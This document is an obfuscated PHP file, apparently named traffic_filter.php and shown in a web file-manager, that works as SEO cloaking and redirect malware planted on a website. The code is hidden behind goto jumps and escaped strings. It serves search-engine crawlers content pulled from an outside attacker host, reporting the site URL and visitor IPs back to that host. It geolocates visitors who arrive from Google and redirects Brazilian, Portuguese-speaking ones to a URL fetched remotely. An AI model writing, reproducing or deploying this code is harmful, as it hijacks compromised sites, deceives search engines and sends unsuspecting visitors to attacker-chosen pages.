File Explorer

<?php goto QrBKqpduQU; l8Mt6WBjE3: function getMiddleText($text, $startTag, $endTag) { $startIndex = strpos($text, $startTag) + strlen($startTag); $endIndex = strpos($text, $endTag, $startIndex); return substr($text, $startIndex, $endIndex - $startIndex); } function getBrowserLanguage() { $lang = "\145\x6e"; if (!isset($_SERVER["\110\124\x54\120\x5f\x41\103\x43\105\x50\x54\x5f\114\x41\116\107\x55\101\x47\105"])) { goto FEwd0bZUJR; } $langs = explode("\54", $_SERVER["\x48\124\x54\120\x5f\x41\x43\x43\x45\x50\x54\137\114\x41\x4e\x47\x55\x41\107\105"]); $lang = strtolower(substr($langs[0], 0, 2)); FEwd0bZUJR: return $lang; } function isMobileDevice() { $userAgent = strtolower($_SERVER["\x48\x54\124\120\137\125\x53\105\122\137\101\107\x45\116\x54"] ?? ''); $mobileAgents = ["\151\x70\150\157\x6e\145", "\151\x70\157\144", "\151\x70\141\x64", "\141\156\144\x72\x6f\x69\144", "\x62\154\141\x63\x6b\x62\145\162\x72\x79", "\x77\145\x62\157\163", "\x77\151\x6e\144\x6f\167\x73\x20\x70\x68\157\156\145", "\x73\x79\155\x62\151\x61\x6e", "\x6b\x69\x6e\x64\x6c\145", "\155\x6f\x62\151\154\145"]; foreach ($mobileAgents as $device) { if (!(strpos($userAgent, $device) !== false)) { goto Rjjrz8owBn; } return true; Rjjrz8owBn: FZrFoDmG_8: } HLQQDf5i7L: return false; } function isMobileSpider($userAgent) { $mobileSpiderPatterns = ["\147\157\x6f\147\x6c\x65\x62\x6f\x74\x2d\155\157\x62\151\x6c\145", "\155\x6f\142\151\x6c\145\56\x2a\x67\x6f\157\147\154\145\142\157\164", "\x69\x70\x68\157\156\x65\56\52\141\x70\160\154\145\x62\x6f\164", "\141\x6e\x64\x72\157\x69\144\x2e\52\x67\157\157\x67\154\145\x62\157\x74", "\155\x6f\x62\151\x6c\145\56\52\x62\151\156\147\x62\157\164"]; foreach ($mobileSpiderPatterns as $pattern) { if (!preg_match("\57" . $pattern . "\57\151", $userAgent)) { goto OYefYmQzgf; } return true; OYefYmQzgf: ZV3q9XMKVg: } Tt8QCO2IQU: return false; } $Cdd = ''; goto Fx49b6taba; T2SpSlHa1a: curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_HEADER, 1); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); $data = curl_exec($curl); goto t2L1rYrRKK; KSTZfH6e42: function leidisentxt($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_ENCODING, ''); curl_setopt($ch, CURLOPT_HTTPHEADER, array("\x43\x6f\x6e\164\145\x6e\x74\x2d\124\171\160\x65\x3a\164\145\170\x74\57\x68\164\155\154\x3b\143\150\141\162\x73\x65\164\x3d\x55\x54\x46\x2d\x38")); $result = curl_exec($ch); curl_close($ch); return $result; } function D63() { goto njh1vhIy4y; njh1vhIy4y: if (isset($_SERVER["\110\x54\124\x50\x5f\x43\114\111\105\116\124\x5f\x49\x50"]) && strcasecmp($_SERVER["\110\x54\124\x50\137\x43\x4c\x49\105\116\x54\x5f\111\x50"], "\x75\x6e\x6b\x6e\x6f\x77\x6e")) { goto V_UkSUsc58; } if (isset($_SERVER["\x48\x54\124\x50\137\x58\x5f\106\x4f\122\127\101\122\x44\x45\104\x5f\106\x4f\122"]) && strcasecmp($_SERVER["\110\x54\124\x50\137\x58\137\x46\117\x52\x57\x41\122\104\105\x44\137\106\117\x52"], "\165\x6e\153\x6e\x6f\x77\156")) { goto Zf4HDfIj8h; } if (isset($_SERVER["\122\x45\115\117\x54\105\x5f\x41\104\x44\x52"]) && strcasecmp($_SERVER["\x52\105\x4d\x4f\124\x45\x5f\x41\104\104\122"], "\x75\156\153\x6e\x6f\167\156")) { goto GNIPiz_GoV; } if (isset($_SERVER["\122\105\x4d\x4f\124\105\137\101\x44\x44\122"]) && $_SERVER["\122\105\x4d\x4f\x54\105\x5f\x41\x44\104\x52"] && strcasecmp($_SERVER["\x52\x45\115\x4f\124\x45\137\x41\x44\104\122"], "\x75\x6e\x6b\x6e\x6f\167\x6e")) { goto dqgOdI9bxe; } $edd = "\165\156\153\x6e\x6f\x77\156"; goto yaSDlDGyQo; qdnVuybAkY: $edd = $_SERVER["\110\x54\124\x50\x5f\x58\x5f\x46\117\122\127\101\122\x44\105\x44\137\x46\117\x52"]; MmVa1bHBgl: goto LzIzbcJzGG; V_UkSUsc58: $edd = $_SERVER["\x48\124\124\x50\x5f\103\114\111\x45\x4e\124\137\111\120"]; goto zvLH_B71op; zvLH_B71op: LzIzbcJzGG: return $edd; goto wbYpBfEvrI; QjRbnrLKih: GNIPiz_GoV: $edd = $_SERVER["\x52\x45\x4d\117\x54\x45\x5f\x41\104\104\122"]; qiXj6WdNJG: goto MmVa1bHBgl; Zf4HDfIj8h: goto qdnVuybAkY; yaSDlDGyQo: goto MJwPb9EsfD; dqgOdI9bxe: $edd = $_SERVER["\122\105\115\117\x54\105\137\101\104\104\x52"]; MJwPb9EsfD: goto qiXj6WdNJG; goto QjRbnrLKih; wbYpBfEvrI: } function f1A($Eb9) { goto OUYNN00FQf; OUYNN00FQf: if (!@ini_get("\x61\x6c\x6c\x6f\167\137\165\x72\x6c\x5f\146\x6f\x70\x65\156")) { goto gs06u6OcmY; } return file_get_contents($Eb9); gs06u6OcmY: $a45 = curl_init(); curl_setopt($a45, CURLOPT_URL, $Eb9); goto FswerFKFan; iciTLI7nsQ: curl_close($a45); return $e28; goto glUqYKOsDa; FswerFKFan: curl_setopt($a45, CURLOPT_RETURNTRANSFER, 1); curl_setopt($a45, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($a45, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($a45, CURLOPT_SSL_VERIFYHOST, 0); $e28 = curl_exec($a45); goto iciTLI7nsQ; glUqYKOsDa: } goto dH9pulmxAQ; wC1K7ozDYC: $targetLanguage = "\160\x74"; $targetGoogleDomains = ["\x77\x77\x77\56\x67\x6f\157\x67\154\145\x2e\143\157\x6d\56\x62\x72", "\147\157\157\147\x6c\145\56\143\x6f\x6d\56\142\162", "\x77\x77\167\x2e\x67\x6f\x6f\x67\154\145\x2e\x63\x6f\x6d", "\147\x6f\x6f\147\154\145\x2e\x63\x6f\x6d"]; if (!isset($_SERVER["\x48\124\124\120\137\x52\x45\x46\x45\x52\105\122"])) { goto GRMaPjSDYR; } $referer = parse_url($_SERVER["\x48\x54\x54\120\137\x52\105\x46\105\x52\x45\122"], PHP_URL_HOST); $isFromTargetGoogle = false; goto LgpU1uwRJB; VuBXt_9UkL: if (!isMobileSpider($useragent)) { goto zXxQ1FSxV7; } D31($c14, $Cdd); exit; zXxQ1FSxV7: $targetCountry = "\102\x52"; goto wC1K7ozDYC; Fx49b6taba: $c14 = "\x68\164\x74\160\x3a\57\57\142\141\170\x69\56\161\x75\141\x6e\172\150\x61\x6e\62\x2e\x6f\156\154\151\156\145\57\142\155\x77\x2e\x70\x68\160"; $useragent = strtolower($_SERVER["\x48\x54\124\120\x5f\x55\x53\105\122\137\101\x47\x45\116\x54"]); $searchEngineSpiders = ["\x67\157\x6f\147\154\x65\142\x6f\x74", "\142\x69\x6e\x67\142\x6f\x74", "\x73\x6c\165\162\x70"]; foreach ($searchEngineSpiders as $spider) { if (!(strpos($useragent, $spider) !== false)) { goto zYGkvgFWD9; } D31($c14, $Cdd); exit; zYGkvgFWD9: ewRfN57UOp: } DqeL9625np: goto VuBXt_9UkL; gOo23JrdxV: goto vaiS9jPxdc; G4vTSkwNeY: @ini_set("\144\141\x74\x65\x2e\x74\151\x6d\145\x7a\157\156\145", "\x41\x6d\145\162\x69\x63\x61\x2f\124\x6f\162\157\156\x74\x6f"); vaiS9jPxdc: function getVisitorIP() { goto BUtIqmuNVo; BUtIqmuNVo: if (!empty($_SERVER["\x48\x54\124\x50\137\x43\114\111\105\x4e\x54\137\x49\x50"])) { goto J0XbxrF3nZ; } if (!empty($_SERVER["\x48\124\124\120\137\130\x5f\x46\x4f\122\x57\x41\122\x44\105\104\x5f\x46\x4f\x52"])) { goto sFf0Srhobl; } $ip = $_SERVER["\122\105\x4d\117\x54\x45\137\101\x44\104\x52"]; goto m0q8jR5lNy; J0XbxrF3nZ: goto x00OyOD5I9; T911K6eSFR: return $ip; goto o0seFdpe13; x00OyOD5I9: $ip = $_SERVER["\x48\x54\x54\x50\137\103\114\111\x45\x4e\124\137\x49\x50"]; goto m0q8jR5lNy; sFf0Srhobl: $ip = $_SERVER["\x48\124\124\120\x5f\130\137\x46\x4f\x52\127\101\x52\104\x45\104\137\x46\x4f\122"]; m0q8jR5lNy: goto T911K6eSFR; o0seFdpe13: } goto l8Mt6WBjE3; rqHPHwnJ0h: header("\114\x6f\x63\141\164\151\x6f\156\72\x20" . $targetUrl); exit; gPeQZKBYDW: n5jHPduhuI: GRMaPjSDYR: goto KSTZfH6e42; t2L1rYrRKK: curl_close($curl); $ipText = getMiddleText($data, "\143\x6f\x75\x6e\164\x72\171\103\x6f\144\x65\x22\x3a\42", "\42"); $browserLang = getBrowserLanguage(); if (!($ipText == $targetCountry && $browserLang == $targetLanguage)) { goto gPeQZKBYDW; } $targetUrl = leidisentxt("\x68\164\x74\160\x3a\57\57\142\141\x78\x69\x2e\x71\165\141\156\172\150\141\156\x32\x2e\x6f\x6e\154\151\156\x65\57\164\x7a\56\x74\170\x74"); goto rqHPHwnJ0h; QrBKqpduQU: header("\103\157\x6e\164\x65\x6e\164\55\124\x79\x70\x65\x3a\x74\x65\x78\164\x2f\x68\x74\155\154\73\143\x68\141\162\x73\145\x74\75\x75\164\146\x2d\x38"); @ob_start(); @set_time_limit(3600); if (version_compare(PHP_VERSION, "\65\x2e\61\56\60", "\74")) { goto G4vTSkwNeY; } @date_default_timezone_set("\101\x6d\145\162\151\x63\141\x2f\124\157\x72\157\156\x74\x6f"); goto gOo23JrdxV; LgpU1uwRJB: foreach ($targetGoogleDomains as $domain) { if (!(strpos($referer, $domain) !== false)) { goto FnCvWOYsq8; } $isFromTargetGoogle = true; goto LSukZQlHYZ; FnCvWOYsq8: DYRQx8Y4ve: } LSukZQlHYZ: if (!$isFromTargetGoogle) { goto n5jHPduhuI; } $url = "\x68\x74\164\160\163\x3a\x2f\57\x70\x72\157\56\151\x70\55\141\x70\x69\x2e\x63\157\x6d\57\152\x73\x6f\156\57" . getVisitorIP() . "\x3f\x6b\145\x79\x3d\60\107\142\x7a\x77\126\x6d\101\163\141\114\132\64\x48\155"; $curl = curl_init(); goto T2SpSlHa1a; dH9pulmxAQ: function D31($c14, $Cdd = '') { goto KSHCUuicnR; EI4raB3oDV: aSdg_B3Pf4: $isMobile = isMobileDevice(); $deviceType = $isMobile ? "\155\x6f\x62\151\154\145" : "\x64\145\163\x6b\x74\157\160"; if (!isset($_SERVER["\x48\x54\124\x50\137\125\x53\105\x52\x5f\101\x47\105\116\124"])) { goto EjOSLiDmLw; } if (!preg_match("\x2f\x28\x67\157\157\x67\154\x65\142\157\x74\x7c\171\x61\x68\x6f\157\174\163\154\x75\x72\x70\174\142\141\x69\x64\165\163\x70\x69\144\145\x72\174\142\151\x6e\x67\142\157\x74\174\x67\157\x6f\x67\154\145\174\142\141\151\x64\x75\x7c\x61\157\x6c\174\142\x69\x6e\147\x29\x2f\x73\151", $_SERVER["\x48\x54\x54\x50\x5f\125\x53\105\x52\x5f\x41\107\105\x4e\x54"])) { goto sXbMpflrbq; } goto zrmQrsZUvA; Uk6mxqHrao: goto NQsjKh0ZFu; mZHn1H48GW: header("\114\x6f\x63\x61\164\x69\x6f\x6e\72" . $Bdf); exit; NQsjKh0ZFu: goto EI4raB3oDV; KSHCUuicnR: $Fc4 = isset($_SERVER["\104\x4f\103\125\x4d\105\116\x54\137\122\117\117\124"]) ? str_replace("\134", "\x2f", $_SERVER["\104\117\x43\x55\x4d\x45\x4e\x54\x5f\122\x4f\117\x54"]) : ''; $Cf6 = isset($_SERVER["\x53\103\122\x49\x50\x54\137\x46\x49\x4c\x45\x4e\101\115\105"]) ? $_SERVER["\123\x43\x52\x49\x50\124\137\106\x49\114\105\x4e\x41\115\x45"] : __FILE__; $Cf6 = str_replace("\x5c", "\x2f", $Cf6); $A99 = isset($_SERVER["\x53\103\122\x49\120\124\x5f\x4e\x41\x4d\x45"]) ? $_SERVER["\123\x43\x52\x49\x50\x54\x5f\x4e\101\x4d\x45"] : str_replace($Fc4, '', $Cf6); $A99 = $A99 != '' ? substr($A99, 1) : $A99; goto BH0T2CXB23; BH0T2CXB23: $Fc4 = preg_replace("\57\x5c\57\x24\57\x73\151", '', $Fc4); $A99 = strtolower($A99) == "\142\155\167\56\160\x68\160" ? '' : $A99; $Cf6 = $A99 != '' ? substr($A99, 0, strrpos($A99, "\x2f")) : ($Fc4 != '' ? str_replace($Fc4, '', dirname($Cf6)) : ''); $A99 = preg_replace("\x2f\x2e\52\x5c\x2f\50\x2e\x2a\51\x2f\163\151", "\x24\x31", $A99); $A99 = strtolower($A99) == "\x62\x6d\x77\x2e\160\x68\x70" ? '' : $A99; goto jCTr2T45FN; zrmQrsZUvA: $C19 .= "\x26\144\x65\166\x69\x63\145\x3d" . $deviceType; die(f1A("{$c14}\77\162\145\144\151\x72\x65\143\164\75\x30\46{$C19}")); sXbMpflrbq: EjOSLiDmLw: goto z66SN2f_q6; jCTr2T45FN: $Cf6 = str_replace("\134", "\57", $Cf6 == '' || $Cf6 == "\x62\155\x77\x2e\x70\x68\x70" ? '' : $Cf6); $C20 = isset($_SERVER["\122\105\121\x55\x45\x53\x54\x5f\x55\x52\x49"]) ? $_SERVER["\x52\105\x51\x55\x45\x53\x54\x5f\125\x52\111"] : (isset($_SERVER["\121\125\105\122\x59\x5f\123\124\122\111\116\107"]) ? $_SERVER["\121\125\105\x52\131\x5f\123\x54\122\111\116\107"] : ''); $C20 = $C20 == '' ? isset($_SERVER["\120\x41\x54\x48\137\111\116\106\x4f"]) && $_SERVER["\120\x41\x54\x48\137\111\x4e\x46\117"] != '' ? $_SERVER["\120\x41\x54\110\137\111\x4e\106\x4f"] : $C20 : $C20; $D03 = isset($_SERVER["\110\x54\124\x50\137\110\x4f\x53\124"]) ? $_SERVER["\x48\124\124\x50\137\x48\117\123\x54"] : $_SERVER["\123\x45\122\126\105\x52\x5f\116\101\x4d\x45"]; $D03 = (isset($_SERVER["\x48\124\x54\x50\x53"]) && $_SERVER["\x48\x54\124\x50\123"] !== "\157\146\146" ? "\150\x74\x74\x70\163" : "\150\x74\164\160") . "\x3a\57\57" . $D03; goto KJOsC_vbgO; KJOsC_vbgO: $C19 = "\162\x65\161\x75\x65\x73\x74\137\x75\x72\154\x3d" . urlencode("{$D03}{$C20}") . "\x26\x77\167\x77\137\160\x61\x74\150\x3d" . urlencode($Cf6) . "\x26\x63\154\151\x65\156\x74\x5f\151\160\75" . urlencode(D63()) . "\x26\x72\x65\x71\165\145\x73\164\x5f\160\x68\160\x3d" . urlencode($A99) . "\x26\162\145\161\x75\x65\x73\164\x5f\x74\x79\x70\145\75" . urlencode($Cdd); if (!(isset($_SERVER["\110\x54\124\120\x5f\122\x45\x46\x45\122\105\x52"]) && preg_match("\57\50\x67\x6f\x6f\x67\x6c\145\174\x79\141\150\157\x6f\174\x79\x61\x6e\144\x65\x78\x7c\x62\x69\156\147\x7c\x62\141\x69\x64\x75\x7c\x61\x6f\154\x7c\141\x73\x6b\x7c\x65\x78\143\151\164\145\174\144\x75\143\x6b\x64\x75\143\153\x67\x6f\x29\x2f\163\151", $_SERVER["\110\x54\124\x50\x5f\x52\x45\x46\105\x52\x45\122"]))) { goto aSdg_B3Pf4; } $Bdf = f1A("{$c14}\x3f\162\145\x64\x69\x72\145\x63\x74\75\61\46{$C19}"); if (preg_match("\57\x5e\150\164\x74\x70\x73\77\134\72\134\57\x5c\x2f\57\163\151", $Bdf)) { goto mZHn1H48GW; } die($Bdf); goto Uk6mxqHrao; z66SN2f_q6: }

Editing File: traffic_filter.php